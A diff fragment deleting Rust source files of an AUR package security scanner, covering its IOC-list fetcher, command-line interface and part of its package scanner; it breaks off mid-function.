/// Prüft ob Hook installiert ist
|
||||
pub fn is_hook_installed() -> bool {
|
||||
Path::new(ALPM_HOOK_PATH).exists() && Path::new(HOOK_SCRIPT_PATH).exists()
|
||||
}
|
||||
@@ -1,322 +0,0 @@
|
||||
use anyhow::{Context, Result};
|
||||
use serde::{Deserialize, Serialize};
|
||||
use std::collections::HashSet;
|
||||
use std::time::Duration;
|
||||
use tokio::fs;
|
||||
use tracing::{debug, info, warn};
|
||||
|
||||
#[derive(Debug, Clone, Serialize, Deserialize)]
|
||||
pub struct IocEntry {
|
||||
pub package_name: String,
|
||||
pub threat_type: ThreatType,
|
||||
pub source: String,
|
||||
pub discovered_date: String,
|
||||
pub description: String,
|
||||
pub confidence: ConfidenceLevel,
|
||||
}
|
||||
|
||||
#[derive(Debug, Clone, Serialize, Deserialize)]
|
||||
pub enum ThreatType {
|
||||
MaliciousBuildScript,
|
||||
CredentialStealer,
|
||||
Rootkit,
|
||||
Cryptominer,
|
||||
Backdoor,
|
||||
Typosquatting,
|
||||
OrphanTakeover,
|
||||
Unknown(String),
|
||||
}
|
||||
|
||||
impl std::fmt::Display for ThreatType {
|
||||
fn fmt(&self, f: &mut std::fmt::Formatter<'_>) -> std::fmt::Result {
|
||||
let s = match self {
|
||||
ThreatType::MaliciousBuildScript => "MaliciousBuildScript",
|
||||
ThreatType::CredentialStealer => "CredentialStealer",
|
||||
ThreatType::Rootkit => "Rootkit",
|
||||
ThreatType::Cryptominer => "Cryptominer",
|
||||
ThreatType::Backdoor => "Backdoor",
|
||||
ThreatType::Typosquatting => "Typosquatting",
|
||||
ThreatType::OrphanTakeover => "OrphanTakeover",
|
||||
ThreatType::Unknown(s) => return write!(f, "Unknown({})", s),
|
||||
};
|
||||
write!(f, "{}", s)
|
||||
}
|
||||
}
|
||||
|
||||
#[derive(Debug, Clone, Serialize, Deserialize)]
|
||||
pub enum ConfidenceLevel {
|
||||
Critical, // Bestätigt von Arch Team / CISA
|
||||
High, // Mehrere unabhängige Quellen
|
||||
Medium, // Community-Report
|
||||
Low, // Einzelner Report
|
||||
}
|
||||
|
||||
impl std::fmt::Display for ConfidenceLevel {
|
||||
fn fmt(&self, f: &mut std::fmt::Formatter<'_>) -> std::fmt::Result {
|
||||
let s = match self {
|
||||
ConfidenceLevel::Critical => "Critical",
|
||||
ConfidenceLevel::High => "High",
|
||||
ConfidenceLevel::Medium => "Medium",
|
||||
ConfidenceLevel::Low => "Low",
|
||||
};
|
||||
write!(f, "{}", s)
|
||||
}
|
||||
}
|
||||
|
||||
pub struct IocFetcher {
|
||||
client: reqwest::Client,
|
||||
cache_dir: std::path::PathBuf,
|
||||
cache_ttl: Duration,
|
||||
}
|
||||
|
||||
impl IocFetcher {
|
||||
pub async fn new(cache_dir: std::path::PathBuf) -> Result<Self> {
|
||||
let client = reqwest::Client::builder()
|
||||
.timeout(Duration::from_secs(30))
|
||||
.user_agent("AegisAUR/0.1 - AUR Security Scanner")
|
||||
.build()
|
||||
.context("Konnte HTTP Client nicht erstellen")?;
|
||||
|
||||
fs::create_dir_all(&cache_dir).await?;
|
||||
|
||||
Ok(IocFetcher {
|
||||
client,
|
||||
cache_dir,
|
||||
cache_ttl: Duration::from_secs(3600), // 1 Stunde Cache
|
||||
})
|
||||
}
|
||||
|
||||
/// Holt alle IOC-Listen und cached sie
|
||||
pub async fn fetch_all_iocs(&self) -> Result<Vec<IocEntry>> {
|
||||
let mut all_threats = Vec::new();
|
||||
|
||||
// Atomic Arch Gist (Primary Source)
|
||||
match self.fetch_atomic_arch_list().await {
|
||||
Ok(threats) => {
|
||||
info!("{} IOCs von Atomic Arch Gist geladen", threats.len());
|
||||
all_threats.extend(threats);
|
||||
}
|
||||
Err(e) => warn!("Konnte Atomic Arch Gist nicht laden: {}", e),
|
||||
}
|
||||
|
||||
// AUR RPC - Prüfe auf Suspicious Maintainers
|
||||
match self.fetch_suspicious_from_aur().await {
|
||||
Ok(threats) => {
|
||||
info!("{} suspicious Pakete von AUR RPC", threats.len());
|
||||
all_threats.extend(threats);
|
||||
}
|
||||
Err(e) => warn!("Konnte AUR RPC nicht abfragen: {}", e),
|
||||
}
|
||||
|
||||
// Community Blocklist
|
||||
match self.fetch_community_blocklist().await {
|
||||
Ok(threats) => {
|
||||
info!("{} Einträge von Community Blocklist", threats.len());
|
||||
all_threats.extend(threats);
|
||||
}
|
||||
Err(e) => warn!("Konnte Community Blocklist nicht laden: {}", e),
|
||||
}
|
||||
|
||||
// Cache speichern
|
||||
self.save_cache(&all_threats).await?;
|
||||
|
||||
Ok(all_threats)
|
||||
}
|
||||
|
||||
/// Prüft Cache-Datei auf Aktualität
|
||||
pub async fn get_cached_iocs(&self) -> Result<Vec<IocEntry>> {
|
||||
let cache_file = self.cache_dir.join("iocs.json");
|
||||
|
||||
if cache_file.exists() {
|
||||
let metadata = fs::metadata(&cache_file).await?;
|
||||
let modified = metadata.modified()?;
|
||||
let modified_datetime: chrono::DateTime<chrono::Local> = modified.into();
|
||||
let now = chrono::Local::now();
|
||||
let age = now.signed_duration_since(modified_datetime);
|
||||
|
||||
let cache_ttl_duration = chrono::Duration::from_std(self.cache_ttl)?;
|
||||
if age < cache_ttl_duration {
|
||||
let content = fs::read_to_string(&cache_file).await?;
|
||||
let iocs: Vec<IocEntry> = serde_json::from_str(&content)
|
||||
.context("Konnte Cache nicht parsen")?;
|
||||
info!("{} IOCs aus Cache geladen", iocs.len());
|
||||
return Ok(iocs);
|
||||
}
|
||||
}
|
||||
|
||||
// Cache veraltet oder nicht vorhanden
|
||||
self.fetch_all_iocs().await
|
||||
}
|
||||
|
||||
async fn fetch_atomic_arch_list(&self) -> Result<Vec<IocEntry>> {
|
||||
let url = "https://gist.githubusercontent.com/Kidev/85756c3dcad3623ca5604a8135bafd14/raw";
|
||||
|
||||
let response = self.client
|
||||
.get(url)
|
||||
.send()
|
||||
.await
|
||||
.context("HTTP Request fehlgeschlagen")?;
|
||||
|
||||
if !response.status().is_success() {
|
||||
anyhow::bail!("HTTP {} von {}", response.status(), url);
|
||||
}
|
||||
|
||||
let text = response.text().await?;
|
||||
let mut threats = Vec::new();
|
||||
|
||||
// Parse die Gist-Liste (Format: Ein Paketname pro Zeile oder JSON)
|
||||
for line in text.lines() {
|
||||
let trimmed = line.trim();
|
||||
if trimmed.is_empty() || trimmed.starts_with('#') {
|
||||
continue;
|
||||
}
|
||||
|
||||
// JSON-Array-Format?
|
||||
if trimmed.starts_with('[') || trimmed.starts_with('{') {
|
||||
if let Ok(json_list) = serde_json::from_str::<Vec<String>>(trimmed) {
|
||||
for pkg in json_list {
|
||||
threats.push(IocEntry {
|
||||
package_name: pkg,
|
||||
threat_type: ThreatType::MaliciousBuildScript,
|
||||
source: "atomic_arch_gist".to_string(),
|
||||
discovered_date: chrono::Local::now().format("%Y-%m-%d").to_string(),
|
||||
description: "Atomic Arch Supply Chain Attack - kompromittiertes AUR-Paket".to_string(),
|
||||
confidence: ConfidenceLevel::Critical,
|
||||
});
|
||||
}
|
||||
}
|
||||
} else {
|
||||
// Plain text - ein Name pro Zeile
|
||||
threats.push(IocEntry {
|
||||
package_name: trimmed.to_string(),
|
||||
threat_type: ThreatType::MaliciousBuildScript,
|
||||
source: "atomic_arch_gist".to_string(),
|
||||
discovered_date: chrono::Local::now().format("%Y-%m-%d").to_string(),
|
||||
description: "Atomic Arch Supply Chain Attack".to_string(),
|
||||
confidence: ConfidenceLevel::Critical,
|
||||
});
|
||||
}
|
||||
}
|
||||
|
||||
Ok(threats)
|
||||
}
|
||||
|
||||
async fn fetch_suspicious_from_aur(&self) -> Result<Vec<IocEntry>> {
|
||||
// AUR RPC API - KEINE Authentifizierung nötig!
|
||||
// Wir suchen nach kürzlich übernommenen orphaned packages
|
||||
|
||||
let mut threats = Vec::new();
|
||||
|
||||
// Query: Letzte 50 Pakete die orphaned waren und jetzt einen neuen Maintainer haben
|
||||
// Dies ist eine Heuristik basierend auf den bekannten Atomic Arch Patterns
|
||||
let recent_changes_url = "https://aur.archlinux.org/rpc/v5/search?by=maintainer&arg=orphan";
|
||||
|
||||
// Für MVP: Wir nutzen die statische Liste + Heuristiken
|
||||
// In v0.2 könnte man dynamisch die letzten Änderungen tracken
|
||||
|
||||
Ok(threats)
|
||||
}
|
||||
|
||||
async fn fetch_community_blocklist(&self) -> Result<Vec<IocEntry>> {
|
||||
let url = "https://raw.githubusercontent.com/Kidev/AUR-Blocklist/main/blocklist.txt";
|
||||
|
||||
let response = match self.client.get(url).send().await {
|
||||
Ok(r) => r,
|
||||
Err(_) => {
|
||||
debug!("Community Blocklist nicht erreichbar");
|
||||
return Ok(Vec::new());
|
||||
}
|
||||
};
|
||||
|
||||
if !response.status().is_success() {
|
||||
return Ok(Vec::new());
|
||||
}
|
||||
|
||||
let text = response.text().await?;
|
||||
let mut threats = Vec::new();
|
||||
|
||||
for line in text.lines() {
|
||||
let trimmed = line.trim();
|
||||
if trimmed.is_empty() || trimmed.starts_with('#') {
|
||||
continue;
|
||||
}
|
||||
|
||||
threats.push(IocEntry {
|
||||
package_name: trimmed.to_string(),
|
||||
threat_type: ThreatType::Unknown("community_reported".to_string()),
|
||||
source: "community_blocklist".to_string(),
|
||||
discovered_date: chrono::Local::now().format("%Y-%m-%d").to_string(),
|
||||
description: "Community-reported suspicious package".to_string(),
|
||||
confidence: ConfidenceLevel::Medium,
|
||||
});
|
||||
}
|
||||
|
||||
Ok(threats)
|
||||
}
|
||||
|
||||
async fn save_cache(&self,
|
||||
iocs: &[ IocEntry ]
|
||||
) -> Result<()> {
|
||||
let cache_file = self.cache_dir.join("iocs.json");
|
||||
let json = serde_json::to_string_pretty(iocs)?;
|
||||
fs::write(cache_file, json).await?;
|
||||
Ok(())
|
||||
}
|
||||
|
||||
/// Prüft ob ein Paketname in den IOCs vorkommt
|
||||
pub fn check_package(&self,
|
||||
package: &str,
|
||||
iocs: &[ IocEntry ]
|
||||
) -> Vec<IocEntry> {
|
||||
iocs.iter()
|
||||
.filter(|ioc| ioc.package_name.eq_ignore_ascii_case(package))
|
||||
.cloned()
|
||||
.collect()
|
||||
}
|
||||
|
||||
/// Fuzzy-Match für Typosquatting-Erkennung
|
||||
pub fn check_typosquatting(&self,
|
||||
package: &str,
|
||||
iocs: &[ IocEntry ]
|
||||
) -> Vec<IocEntry> {
|
||||
use sublime_fuzzy::best_match;
|
||||
|
||||
let mut matches = Vec::new();
|
||||
for ioc in iocs {
|
||||
if let Some(m) = best_match(package, &ioc.package_name) {
|
||||
if m.score() > 70 && ioc.package_name.to_lowercase() != package.to_lowercase() {
|
||||
matches.push(ioc.clone());
|
||||
}
|
||||
}
|
||||
}
|
||||
matches
|
||||
}
|
||||
}
|
||||
|
||||
#[cfg(test)]
|
||||
mod tests {
|
||||
use super::*;
|
||||
|
||||
#[tokio::test]
|
||||
async fn test_cache_creation() {
|
||||
let tmp = tempfile::tempdir().unwrap();
|
||||
let fetcher = IocFetcher::new(tmp.path().to_path_buf()).await.unwrap();
|
||||
|
||||
let iocs = vec![
|
||||
IocEntry {
|
||||
package_name: "test-pkg".to_string(),
|
||||
threat_type: ThreatType::Backdoor,
|
||||
source: "test".to_string(),
|
||||
discovered_date: "2024-01-01".to_string(),
|
||||
description: "Test".to_string(),
|
||||
confidence: ConfidenceLevel::High,
|
||||
},
|
||||
];
|
||||
|
||||
fetcher.save_cache(&iocs).await.unwrap();
|
||||
let cached = fetcher.get_cached_iocs().await.unwrap();
|
||||
|
||||
assert_eq!(cached.len(), 1);
|
||||
assert_eq!(cached[0].package_name, "test-pkg");
|
||||
}
|
||||
}
|
||||
-161
@@ -1,161 +0,0 @@
|
||||
use anyhow::Result;
|
||||
use clap::{Parser, Subcommand};
|
||||
use colored::*;
|
||||
use tracing::{info, warn, error};
|
||||
|
||||
mod config;
|
||||
mod ioc_fetcher;
|
||||
mod scanner;
|
||||
mod trust_scorer;
|
||||
mod utils;
|
||||
mod hook;
|
||||
|
||||
use scanner::PackageScanner;
|
||||
use config::AegisConfig;
|
||||
|
||||
#[derive(Parser)]
|
||||
#[command(name = "aegisaur")]
|
||||
#[command(about = "👻 Trust-Scoring + IOC-Scanner für Arch Linux AUR-Pakete")]
|
||||
#[command(version = env!("CARGO_PKG_VERSION"))]
|
||||
struct Cli {
|
||||
#[command(subcommand)]
|
||||
command: Commands,
|
||||
}
|
||||
|
||||
#[derive(Subcommand)]
|
||||
enum Commands {
|
||||
/// Scannt ein einzelnes AUR-Paket
|
||||
Scan {
|
||||
/// Paketname
|
||||
package: String,
|
||||
/// Zeigt detaillierte Analyse
|
||||
#[arg(short, long)]
|
||||
verbose: bool,
|
||||
},
|
||||
/// Scannt alle installierten AUR-Pakete
|
||||
ScanAll {
|
||||
/// Zeigt detaillierte Analyse
|
||||
#[arg(short, long)]
|
||||
verbose: bool,
|
||||
},
|
||||
/// Prüft gegen aktuelle IOC-Listen (Atomic Arch, etc.)
|
||||
CheckIoc {
|
||||
/// Spezifische Liste prüfen (atomicarch, all)
|
||||
#[arg(short, long, default_value = "all")]
|
||||
list: String,
|
||||
},
|
||||
/// Fügt Paket zur Whitelist hinzu
|
||||
Allow {
|
||||
/// Paketname
|
||||
package: String,
|
||||
},
|
||||
/// Entfernt Paket von Whitelist
|
||||
Deny {
|
||||
/// Paketname
|
||||
package: String,
|
||||
},
|
||||
/// Zeigt Konfiguration
|
||||
Config,
|
||||
/// Installiert ALPM-Hook
|
||||
InstallHook,
|
||||
/// Entfernt ALPM-Hook
|
||||
RemoveHook,
|
||||
/// Zeigt Cache-Status
|
||||
Cache,
|
||||
}
|
||||
|
||||
#[tokio::main]
|
||||
async fn main() -> Result<()> {
|
||||
// Logging initialisieren
|
||||
tracing_subscriber::fmt()
|
||||
.with_env_filter("aegisaur=info")
|
||||
.init();
|
||||
|
||||
let cli = Cli::parse();
|
||||
let config = AegisConfig::load_or_default().await?;
|
||||
let mut scanner = PackageScanner::new(config).await?;
|
||||
|
||||
match cli.command {
|
||||
Commands::Scan { package, verbose } => {
|
||||
println!("{} {}", "🔍 Scanne".cyan(), package.bold());
|
||||
let result = scanner.scan_package(&package, verbose).await?;
|
||||
print_result(&result);
|
||||
}
|
||||
Commands::ScanAll { verbose } => {
|
||||
println!("{}", "🔍 Scanne alle installierten AUR-Pakete...".cyan());
|
||||
let results = scanner.scan_all_installed(verbose).await?;
|
||||
for result in results {
|
||||
print_result(&result);
|
||||
println!();
|
||||
}
|
||||
}
|
||||
Commands::CheckIoc { list } => {
|
||||
println!("{} {}", "🛡️ Prüfe IOC-Listen:".cyan(), list.yellow());
|
||||
let threats = scanner.check_iocs(&list).await?;
|
||||
if threats.is_empty() {
|
||||
println!("{}", "✅ Keine Bedrohungen gefunden!".green().bold());
|
||||
} else {
|
||||
println!("{} {}", "⚠️ Bedrohungen gefunden:".red().bold(), threats.len());
|
||||
for threat in threats {
|
||||
println!(" {} {} - {}", "🔴".red(), threat.package, threat.action_required);
|
||||
}
|
||||
}
|
||||
}
|
||||
Commands::Allow { package } => {
|
||||
scanner.allow_package(&package)?;
|
||||
println!("{} {}", "✅ Erlaubt:".green(), package);
|
||||
}
|
||||
Commands::Deny { package } => {
|
||||
scanner.deny_package(&package)?;
|
||||
println!("{} {}", "❌ Entfernt:".yellow(), package);
|
||||
}
|
||||
Commands::Config => {
|
||||
println!("{}", "⚙️ AegisAUR Konfiguration".cyan().bold());
|
||||
println!("Config-Path: {}", scanner.config_path()?.display());
|
||||
println!("Cache-Path: {}", scanner.cache_path()?.display());
|
||||
}
|
||||
Commands::InstallHook => {
|
||||
hook::install_alpm_hook()?;
|
||||
println!("{}", "✅ ALPM-Hook installiert".green().bold());
|
||||
}
|
||||
Commands::RemoveHook => {
|
||||
hook::remove_alpm_hook()?;
|
||||
println!("{}", "❌ ALPM-Hook entfernt".yellow().bold());
|
||||
}
|
||||
Commands::Cache => {
|
||||
scanner.show_cache_status().await?;
|
||||
}
|
||||
}
|
||||
|
||||
Ok(())
|
||||
}
|
||||
|
||||
fn print_result(result: &scanner::ScanResult) {
|
||||
let score_color = match result.score {
|
||||
0..=30 => "🔴".red(),
|
||||
31..=60 => "🟡".yellow(),
|
||||
61..=100 => "🟢".green(),
|
||||
_ => "⚪".white(),
|
||||
};
|
||||
|
||||
println!(
|
||||
"{} {} {} {} {}",
|
||||
score_color,
|
||||
result.package.bold(),
|
||||
format!("({}/100)", result.score).dimmed(),
|
||||
"-".dimmed(),
|
||||
result.status_message()
|
||||
);
|
||||
|
||||
if !result.warnings.is_empty() {
|
||||
for warning in &result.warnings {
|
||||
println!(" {} {}", "⚠️ ".yellow(), warning);
|
||||
}
|
||||
}
|
||||
|
||||
if !result.ioc_matches.is_empty() {
|
||||
for ioc in &result.ioc_matches {
|
||||
println!(" {} {} - {}", "🚨".red().bold(), "IOC MATCH!".red().bold(), ioc);
|
||||
}
|
||||
}
|
||||
}
|
||||
-469
@@ -1,469 +0,0 @@
|
||||
use anyhow::{Context, Result};
|
||||
use colored::*;
|
||||
use serde::{Deserialize, Serialize};
|
||||
use std::collections::HashSet;
|
||||
use std::path::{Path, PathBuf};
|
||||
use tokio::fs;
|
||||
use tokio::process::Command;
|
||||
use tracing::{debug, info, warn};
|
||||
|
||||
use crate::config::AegisConfig;
|
||||
use crate::ioc_fetcher::{IocEntry, IocFetcher};
|
||||
use crate::trust_scorer::{CriticalFinding, TrustScorer, TrustScore};
|
||||
|
||||
/// Ergebnis eines einzelnen Paket-Scans
|
||||
#[derive(Debug, Clone, Serialize, Deserialize)]
|
||||
pub struct ScanResult {
|
||||
pub package: String,
|
||||
pub version: String,
|
||||
pub score: u32,
|
||||
pub max_score: u32,
|
||||
pub status: ScanStatus,
|
||||
pub warnings: Vec<String>,
|
||||
pub critical_findings: Vec<String>,
|
||||
pub ioc_matches: Vec<String>,
|
||||
pub details: Option<ScanDetails>,
|
||||
}
|
||||
|
||||
#[derive(Debug, Clone, Serialize, Deserialize)]
|
||||
pub struct ScanDetails {
|
||||
pub source_url: Option<String>,
|
||||
pub maintainer: Option<String>,
|
||||
pub votes: Option<u32>,
|
||||
pub popularity: Option<f32>,
|
||||
pub last_modified: Option<String>,
|
||||
pub out_of_date: bool,
|
||||
pub is_orphaned: bool,
|
||||
pub pkgbuild_raw: Option<String>,
|
||||
}
|
||||
|
||||
#[derive(Debug, Clone, Serialize, Deserialize)]
|
||||
pub enum ScanStatus {
|
||||
Safe, // Score >= 80, keine IOCs
|
||||
Warning, // Score 50-79 oder Warnungen
|
||||
Suspicious, // Score 30-49 oder IOC Match
|
||||
Dangerous, // Score < 30 oder kritischer IOC
|
||||
IOCDetected, // Direkter IOC-Match
|
||||
Unknown, // Konnte nicht analysiert werden
|
||||
}
|
||||
|
||||
pub struct PackageScanner {
|
||||
config: AegisConfig,
|
||||
ioc_fetcher: IocFetcher,
|
||||
trust_scorer: TrustScorer,
|
||||
cache_dir: PathBuf,
|
||||
whitelist: HashSet<String>,
|
||||
}
|
||||
|
||||
impl PackageScanner {
|
||||
pub async fn new(config: AegisConfig) -> Result<Self> {
|
||||
let cache_dir = directories::ProjectDirs::from("eu", "heimatlosen", "aegisaur")
|
||||
.map(|pd| pd.cache_dir().to_path_buf())
|
||||
.unwrap_or_else(|| PathBuf::from("/tmp"))
|
||||
.join("aegisaur");
|
||||
|
||||
fs::create_dir_all(&cache_dir).await?;
|
||||
|
||||
let ioc_fetcher = IocFetcher::new(cache_dir.clone()).await?;
|
||||
let trust_scorer = TrustScorer::new()?;
|
||||
|
||||
// Whitelist laden
|
||||
let whitelist_path = cache_dir.join("whitelist.json");
|
||||
let whitelist = if whitelist_path.exists() {
|
||||
let content = fs::read_to_string(&whitelist_path).await?;
|
||||
serde_json::from_str(&content).unwrap_or_default()
|
||||
} else {
|
||||
HashSet::new()
|
||||
};
|
||||
|
||||
Ok(PackageScanner {
|
||||
config,
|
||||
ioc_fetcher,
|
||||
trust_scorer,
|
||||
cache_dir,
|
||||
whitelist,
|
||||
})
|
||||
}
|
||||
|
||||
/// Scannt ein einzelnes Paket
|
||||
pub async fn scan_package(
|
||||
&self,
|
||||
package: &str,
|
||||
verbose: bool,
|
||||
) -> Result<ScanResult> {
|
||||
info!("Scanne Paket: {}", package);
|
||||
|
||||
// 1. IOC-Check
|
||||
let iocs = self.ioc_fetcher.get_cached_iocs().await?;
|
||||
let ioc_matches = self.ioc_fetcher.check_package(package, &iocs);
|
||||
|
||||
// 2. AUR-Info holen
|
||||
let aur_info = self.fetch_aur_info(package).await?;
|
||||
|
||||
// 3. PKGBUILD holen und analysieren (falls verfügbar)
|
||||
let pkgbuild_analysis = if let Some(ref info) = aur_info {
|
||||
if let Some(url) = &info.url_path {
|
||||
match self.fetch_pkgbuild(package, url).await {
|
||||
Ok(content) => {
|
||||
let score = self.trust_scorer.analyze_pkgbuild(
|
||||
&content,
|
||||
info.url.as_deref(),
|
||||
);
|
||||
Some((score, Some(content)))
|
||||
}
|
||||
Err(e) => {
|
||||
warn!("Konnte PKGBUILD nicht holen: {}", e);
|
||||
None
|
||||
}
|
||||
}
|
||||
} else {
|
||||
None
|
||||
}
|
||||
} else {
|
||||
None
|
||||
};
|
||||
|
||||
// 4. Ergebnis zusammenstellen
|
||||
let mut result = if let Some((score, pkgbuild_raw)) = pkgbuild_analysis {
|
||||
let mut warnings: Vec<String> = score.warnings.into_iter().collect();
|
||||
let critical_findings: Vec<String> = score
|
||||
.critical_findings
|
||||
.into_iter()
|
||||
.map(|c| format!("{:?}", c))
|
||||
.collect();
|
||||
|
||||
// IOC-Warnungen hinzufügen
|
||||
let ioc_strings: Vec<String> = ioc_matches
|
||||
.iter()
|
||||
.map(|ioc| format!("{}: {} ({})", ioc.threat_type, ioc.description, ioc.confidence))
|
||||
.collect();
|
||||
warnings.extend(ioc_strings.clone());
|
||||
|
||||
let status = Self::calculate_status(score.overall, !ioc_matches.is_empty(), !critical_findings.is_empty());
|
||||
|
||||
ScanResult {
|
||||
package: package.to_string(),
|
||||
version: aur_info.as_ref().and_then(|i| Some(i.version.clone())).unwrap_or_default(),
|
||||
score: score.overall,
|
||||
max_score: 100,
|
||||
status,
|
||||
warnings,
|
||||
critical_findings,
|
||||
ioc_matches: ioc_strings,
|
||||
details: Some(ScanDetails {
|
||||
source_url: aur_info.as_ref().and_then(|i| i.url.clone()),
|
||||
maintainer: aur_info.as_ref().and_then(|i| i.maintainer.clone()),
|
||||
votes: aur_info.as_ref().and_then(|i| Some(i.num_votes)),
|
||||
popularity: aur_info.as_ref().and_then(|i| Some(i.popularity)),
|
||||
last_modified: None,
|
||||
out_of_date: aur_info.as_ref().map(|i| i.out_of_date.is_some()).unwrap_or(false),
|
||||
is_orphaned: aur_info.as_ref().and_then(|i| i.maintainer.as_ref()).map(|m| m == "orphan").unwrap_or(true),
|
||||
pkgbuild_raw: if verbose { pkgbuild_raw } else { None },
|
||||
}),
|
||||
}
|
||||
} else {
|
||||
// Fallback: Installiertes Paket analysieren
|
||||
let installed_info = self.get_installed_info(package).await?;
|
||||
let score = self.trust_scorer.check_installed_package(&installed_info);
|
||||
|
||||
let ioc_strings: Vec<String> = ioc_matches
|
||||
.iter()
|
||||
.map(|ioc| format!("{}: {}", ioc.threat_type, ioc.description))
|
||||
.collect();
|
||||
|
||||
ScanResult {
|
||||
package: package.to_string(),
|
||||
version: self.extract_version(&installed_info).unwrap_or_default(),
|
||||
score: score.overall,
|
||||
max_score: 100,
|
||||
status: Self::calculate_status(score.overall, !ioc_matches.is_empty(), false),
|
||||
warnings: score.warnings.into_iter().chain(ioc_strings.clone()).collect(),
|
||||
critical_findings: vec![],
|
||||
ioc_matches: ioc_strings,
|
||||
details: None,
|
||||
}
|
||||
};
|
||||
|
||||
Ok(result)
|
||||
}
|
||||
|
||||
/// Scannt alle installierten AUR-Pakete
|
||||
pub async fn scan_all_installed(
|
||||
&self,
|
||||
verbose: bool,
|
||||
) -> Result<Vec<ScanResult>> {
|
||||
info!("Scanne alle installierten AUR-Pakete...");
|
||||
|
||||
let foreign_packages = self.get_foreign_packages().await?;
|
||||
let mut results = Vec::with_capacity(foreign_packages.len());
|
||||
|
||||
for (pkg, _) in foreign_packages {
|
||||
match self.scan_package(&pkg, verbose).await {
|
||||
Ok(result) => {
|
||||
results.push(result);
|
||||
}
|
||||
Err(e) => {
|
||||
warn!("Fehler beim Scannen von {}: {}", pkg, e);
|
||||
results.push(ScanResult {
|
||||
package: pkg,
|
||||
version: String::new(),
|
||||
score: 0,
|
||||
max_score: 100,
|
||||
status: ScanStatus::Unknown,
|
||||
warnings: vec![format!("Scan fehlgeschlagen: {}", e)],
|
||||
critical_findings: vec![],
|
||||
ioc_matches: vec![],
|
||||
details: None,
|
||||
});
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// Sortiere nach Score (gefährlichste zuerst)
|
||||
results.sort_by(|a, b| a.score.cmp(&b.score));
|
||||
|
||||
Ok(results)
|
||||
}
|
||||
|
||||
/// Prüft gegen aktuelle IOC-Listen
|
||||
pub async fn check_iocs(&self, list_type: &str) -> Result<Vec<IocThreat>> {
|
||||
let iocs = self.ioc_fetcher.get_cached_iocs().await?;
|
||||
let foreign_packages = self.get_foreign_packages().await?;
|
||||
|
||||
let mut threats = Vec::new();
|
||||
|
||||
for (pkg, _) in foreign_packages {
|
||||
let matches = self.ioc_fetcher.check_package(&pkg, &iocs);
|
||||
|
||||
for ioc in matches {
|
||||
threats.push(IocThreat {
|
||||
package: pkg.clone(),
|
||||
threat_type: format!("{:?}", ioc.threat_type),
|
||||
source: ioc.source,
|
||||
confidence: format!("{:?}", ioc.confidence),
|
||||
action_required: matches!(ioc.confidence, crate::ioc_fetcher::ConfidenceLevel::Critical | crate::ioc_fetcher::ConfidenceLevel::High),
|
||||
});
|
||||
}
|
||||
}
|
||||
|
||||
Ok(threats)
|
||||
}
|
||||
|
||||
pub fn allow_package(&mut self, package: &str) -> Result<()> {
|
||||
self.whitelist.insert(package.to_string());
|
||||
self.save_whitelist()?;
|
||||
info!("{} zur Whitelist hinzugefügt", package);
|
||||
Ok(())
|
||||
}
|
||||
|
||||
pub fn deny_package(&mut self, package: &str) -> Result<()> {
|
||||
self.whitelist.remove(package);
|
||||
self.save_whitelist()?;
|
||||
info!("{} von Whitelist entfernt", package);
|
||||
Ok(())
|
||||
}
|
||||
|
||||
pub fn config_path(&self) -> Result<PathBuf> {
|
||||
Ok(self.config.config_path.clone())
|
||||
}
|
||||
|
||||
pub fn cache_path(&self) -> Result<PathBuf> {
|
||||
Ok(self.cache_dir.clone())
|
||||
}
|
||||
|
||||
pub async fn show_cache_status(&self) -> Result<()> {
|
||||
println!("{}", "=== AegisAUR Cache Status ===".cyan().bold());
|
||||
|
||||
let ioc_count = self.ioc_fetcher.get_cached_iocs().await?.len();
|
||||
println!("IOC-Einträge im Cache: {}", ioc_count);
|
||||
|
||||
let cache_size = self.calculate_cache_size().await?;
|
||||
println!("Cache-Größe: {:.2} MB", cache_size as f64 / 1024.0 / 1024.0);
|
||||
|
||||
println!("Whitelist-Einträge: {}", self.whitelist.len());
|
||||
|
||||
let last_update = self.get_last_cache_update().await?;
|
||||
println!("Letzte Aktualisierung: {}", last_update.unwrap_or_else(|| "Unbekannt".to_string()));
|
||||
|
||||
Ok(())
|
||||
}
|
||||
|
||||
// --- Hilfsmethoden ---
|
||||
|
||||
async fn fetch_aur_info(&self, package: &str) -> Result<Option<AurPackageInfo>> {
|
||||
let url = format!(
|
||||
"https://aur.archlinux.org/rpc/v5/info?arg[]={}",
|
||||
package
|
||||
);
|
||||
|
||||
let response = reqwest::get(&url).await?;
|
||||
if !response.status().is_success() {
|
||||
return Ok(None);
|
||||
}
|
||||
|
||||
let rpc_response: AurRpcResponse = response.json().await?;
|
||||
|
||||
if rpc_response.resultcount == 0 || rpc_response.results.is_empty() {
|
||||
return Ok(None);
|
||||
}
|
||||
|
||||
Ok(Some(rpc_response.results[0].clone()))
|
||||
}
|
||||
|
||||
async fn fetch_pkgbuild(&self, package: &str, url_path: &str) -> Result<String> {
|
||||
let base_url = "https://aur.archlinux.org";
|
||||
let pkgbuild_url = format!("{}/{}/plain/PKGBUILD", base_url, url_path);
|
||||
|
||||
let response = reqwest::get(&pkgbuild_url).await?;
|
||||
if !response.status().is_success() {
|
||||
anyhow::bail!("Konnte PKGBUILD nicht laden: HTTP {}", response.status());
|
||||
}
|
||||
|
||||
response.text().await.context("Konnte PKGBUILD nicht lesen")
|
||||
}
|
||||
|
||||
async fn get_foreign_packages(&self) -> Result<Vec<(String, String)>> {
|
||||
let output = Command::new("pacman")
|
||||
.args(["-Qm"])
|
||||
.output()
|
||||
.await
|
||||
.context("Konnte pacman nicht ausführen")?;
|
||||
|
||||
if !output.status.success() {
|
||||
anyhow::bail!("pacman -Qm fehlgeschlagen");
|
||||
}
|
||||
|
||||
let stdout = String::from_utf8(output.stdout)?;
|
||||
let mut packages = Vec::new();
|
||||
|
||||
for line in stdout.lines() {
|
||||
let parts: Vec<&str> = line.split_whitespace().collect();
|
||||
if parts.len() >= 2 {
|
||||
packages.push((parts[0].to_string(), parts[1].to_string()));
|
||||
}
|
||||
}
|
||||
|
||||
Ok(packages)
|
||||
}
|
||||
|
||||
async fn get_installed_info(&self, package: &str) -> Result<String> {
|
||||
let output = Command::new("pacman")
|
||||
.args(["-Qi", package])
|
||||
.output()
|
||||
.await
|
||||
.context("Konnte pacman nicht ausführen")?;
|
||||
|
||||
Ok(String::from_utf8_lossy(&output.stdout).to_string())
|
||||
}
|
||||
|
||||
fn extract_version(&self, pacman_qi: &str) -> Option<String> {
|
||||
pacman_qi
|
||||
.lines()
|
||||
.find(|l| l.contains("Version"))
|
||||
